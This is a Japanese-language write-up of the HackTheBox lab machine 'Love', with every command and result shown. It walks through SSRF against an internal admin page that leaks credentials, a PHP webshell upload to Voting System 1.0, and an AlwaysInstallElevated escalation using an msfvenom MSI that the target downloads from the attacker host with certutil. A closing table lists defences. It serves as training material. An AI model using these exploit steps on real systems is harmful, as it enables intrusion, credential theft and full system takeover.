HackTheBox: Love — 全実行コマンド・実行結果レポート
Nmap スキャン
80/443/445/3306/5000等多数
→
80/443/445/3306/5000等多数
SSL証明書CN
staging.love.htb発見
→
staging.love.htb発見
beta.php SSRF
内部5000番ポートへ
→
内部5000番ポートへ
admin:@LoveIsInTheAir!!!!
内部OMRS管理画面から漏洩
→
内部OMRS管理画面から漏洩
Voting System 1.0
管理者Webシェルアップロード
→
管理者Webシェルアップロード
phoebe → user.txt ✓
→
AlwaysInstallElevated
悪意MSIパッケージ
→
悪意MSIパッケージ
msiexec (SYSTEM権限実行)
→
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.48.103 nmap -sV -sC -p 80,443,445,3306,5000,5985 10.129.48.103
RESULT
PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27) |_http-title: Voting System using PHP 443/tcp open ssl/http Apache httpd 2.4.46 | ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp |_http-title: 403 Forbidden 445/tcp open microsoft-ds Windows 10 Pro 19042 3306/tcp open mysql MariaDB 10.3.24 or later (unauthorized) 5000/tcp open upnp Apache httpd 2.4.46
🚨
重要発見: ポート80では「Voting System using PHP」
という投票システムが稼働、ポート443のSSL証明書CNから
staging.love.htbという別vhostを発見。さらに
ポート5000に別のApache(内部管理システムと思われる)が稼働している。
BASH
echo "10.129.48.103 www.love.htb staging.love.htb love.htb" | sudo tee -a /etc/hosts
PHASE 2
staging.love.htb SSRF — 内部管理画面からの資格情報窃取
staging.love.htb/beta.php の確認
BASH
curl -sk https://staging.love.htb/beta.php
RESULT
<form method="post"> <input type="text" name="file" placeholder="Enter a URL to scan"> <input type="submit" name="read" value="Scan file"> </form>
ℹ️
「URLをスキャンする」というファイルスキャン機能のベータ版。
入力値がサーバー側で直接フェッチされる実装であれば、
外部からは到達できない内部限定サービス(ポート5000の管理画面等)
へリクエストを中継させるSSRF(Server-Side Request Forgery)
が成立する可能性が高い。
SSRFで内部ポート5000のOMRS管理画面を取得
BASH (本検証で実際に使用したパラメータ名: fileとread)
curl -sk -X POST https://staging.love.htb/beta.php \ --data-urlencode "file=http://127.0.0.1:5000/" \ --data-urlencode "read=Scan file"
RESULT (本検証の実際のレスポンスより抜粋)
... Online Medical Reservation System (OMRS) ...
Vote Admin Creds admin: @LoveIsInTheAir!!!!
...
✅
SSRF成功! 外部から直接アクセスできないポート5000の
内部システム(OMRS)のトップページを、ポート443経由で中継取得できた。
そのページ内に平文で「投票システム管理者アカウント」の資格情報
admin:@LoveIsInTheAir!!!!がメモ書きとして残されていた。
⚠️
実装上の注意: フォームのパラメータ名は
url/submitではなくfileと
read。一般的な命名を推測してPOSTすると
動かないため、実際のHTMLフォームのname属性を必ず確認すること。
PHASE 3
Voting System 1.0 管理画面からのWebシェルアップロードRCE & user.txt取得
管理画面へのログイン
BASH (本検証で実際に使用、ログインフィールド名はusername)
curl -s -c cookies.txt -X POST http://www.love.htb/admin/login.php \ --data-urlencode "username=admin" \ --data-urlencode "password=@LoveIsInTheAir!!!!" \ --data-urlencode "login="
RESULT
HTTP/1.1 302 Found Location: home.php
ℹ️
ログインフォームのユーザー名欄は一見
voter_id風の
命名に見えるが、実際のname属性はusername。
home.phpへのリダイレクトでログイン成功を判定できる。
有権者追加フォーム(voters_add.php)を使ったWebシェルアップロード
NOTE
「有権者を追加」する管理機能には顔写真アップロード欄(photo)があり、 拡張子やMIMEタイプの検証が不十分なため、画像の代わりにPHP Webシェルを アップロードできる。アップロードされたファイルは/images/配下へ そのまま保存される。
BASH (本検証で実際に使用。ボタン名はsubmitではなくadd)
curl -s -b cookies.txt -X POST http://www.love.htb/admin/voters_add.php \ -F "photo=@shell.php;filename=kcr_love.php;type=image/jpeg" \ -F "firstname=pwn" \ -F "lastname=er" \ -F "password=Pwn3r123!" \ -F "add="
RESULT
New voter added successfully.
Webシェル経由RCE確認 & user.txt取得
BASH
curl -s "http://www.love.htb/images/kcr_love.php?cmd=whoami"
RESULT (本検証の実際の出力)
love\phoebe
BASH
curl -s "http://www.love.htb/images/kcr_love.php?cmd=type+C:\Users\phoebe\Desktop\user.txt"
RESULT
59e4a19da1baa7cdbe53716effe5c684
user.txt — love\phoebe
59e4a19da1baa7cdbe53716effe5c684
PHASE 4
AlwaysInstallElevated + 悪意あるMSI — root.txt取得
AlwaysInstallElevatedレジストリ設定の確認
BASH (Webシェル経由で実行)
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
RESULT (本検証の実際の出力)
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1
HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1
🚨
重要発見: HKLMとHKCU両方で
AlwaysInstallElevatedが
1に設定されている。これは「どのユーザーがMSIパッケージを
インストールしても常にSYSTEM権限相当で実行される」という既知の
設定ミス——悪意あるMSIを作成してインストールさせるだけで
SYSTEM権限のコード実行が可能になる。
AppLocker制約の確認と回避先ディレクトリ
NOTE
本マシンにはAppLockerが設定されており、実行可能ファイルの起動は C:\Administration\配下のパスのみ許可される制約がある。そのため、 悪意あるMSIファイルはこのディレクトリへ配置する必要がある。
BASH
# Webシェル経由で作成 mkdir C:\Administration
悪意あるMSIパッケージの生成
BASH (Kali側で実行)
msfvenom -p windows/exec \ CMD="cmd.exe /c copy C:\Users\Administrator\Desktop\root.txt C:\xampp\htdocs\omrs\images\kcr_root.txt && icacls C:\xampp\htdocs\omrs\images\kcr_root.txt /grant Everyone:F" \ -f msi -o privesc.msi --platform windows -a x86
ℹ️
MSIパッケージ内のペイロードは、root.txtをWeb経由で直接
アクセス可能な
/images/ディレクトリへroot権限でコピーし、
さらに全ユーザー読み取り可能なパーミッションを付与する内容に
している。これにより、SYSTEM権限のシェル自体を取る必要なく
フラグのみを安全に回収できる。
MSIのアップロード & インストール実行
BASH (Kali側でHTTP配信、ターゲットはcertutilでダウンロード)
# Kali: python3 -m http.server 8765 # Webシェル経由でターゲットに実行させる certutil -urlcache -split -f http://10.10.15.200:8765/privesc.msi C:\Administration\privesc.msi msiexec /quiet /i C:\Administration\privesc.msi
RESULT
CertUtil: -URLCache command completed successfully. (msiexecは静音実行のためエラー無し、終了コード0)
✅
root化成功!
msiexecは
AlwaysInstallElevatedの設定によりSYSTEM権限で
インストールペイロード(root.txtのコピー)を実行した。
root.txtの回収
BASH
curl -s http://www.love.htb/images/kcr_root.txt
RESULT (本検証の実際の出力)
03449712ab9c9ba0ef12ba8fe8400e0d
root.txt — AlwaysInstallElevated MSI (SYSTEM権限実行)
03449712ab9c9ba0ef12ba8fe8400e0d
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — love\phoebe
59e4a19da1baa7cdbe53716effe5c684
root.txt — AlwaysInstallElevated MSI (SYSTEM権限実行)
03449712ab9c9ba0ef12ba8fe8400e0d
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| SSRF (Server-Side Request Forgery) | staging.love.htb/beta.php (URLスキャン機能) | 内部限定サービスへの到達・資格情報漏洩 | Critical | 内部ポート5000のOMRS管理画面を中継取得し平文資格情報を窃取 |
| Voting System 1.0 任意ファイルアップロード (EDB-49445) | /admin/voters_add.php (写真アップロード欄) | リモートコード実行 (love\phoebe) | Critical | 拡張子検証不備を突きPHP Webシェルを/images/配下へアップロード |
| AlwaysInstallElevated | HKLM/HKCU レジストリポリシー | 権限昇格 (SYSTEM) | Critical | 悪意あるMSIパッケージをmsiexecでインストールさせSYSTEM権限のコマンドを実行 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap, SSL証明書CN | 80/443/445/3306/5000等、staging.love.htb発見 |
| 2 | 資格情報窃取 | beta.php SSRF (file/readパラメータ) | admin:@LoveIsInTheAir!!!! |
| 3 | RCE | Voting System 1.0 ファイルアップロード | user.txt (phoebe) |
| 4 | 権限昇格 | AlwaysInstallElevated + 悪意MSI | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| URLスキャン機能が入力URLの接続先を検証せず内部ネットワークへのリクエストを許可している | 外部URLフェッチ機能には宛先IPのホワイトリスト化、プライベートIPレンジ(127.0.0.1、10.0.0.0/8等)への接続拒否を実装する。 |
| アップロードフォームでファイルの拡張子・内容検証が不十分で実行可能なPHPファイルをアップロードできる | アップロードファイルのMIMEタイプ・マジックバイトを厳密に検証し、アップロード先ディレクトリでのスクリプト実行を無効化する。 |
| 内部管理システムに平文の資格情報メモが掲載されている | 資格情報を画面上に平文表示しない。パスワードマネージャーやシークレット管理サービスを使用する。 |
| AlwaysInstallElevatedポリシーが有効なまま運用されている | グループポリシーでAlwaysInstallElevatedを無効化する(0に設定)。MSIパッケージの配布・実行は署名済みパッケージに限定する。 |

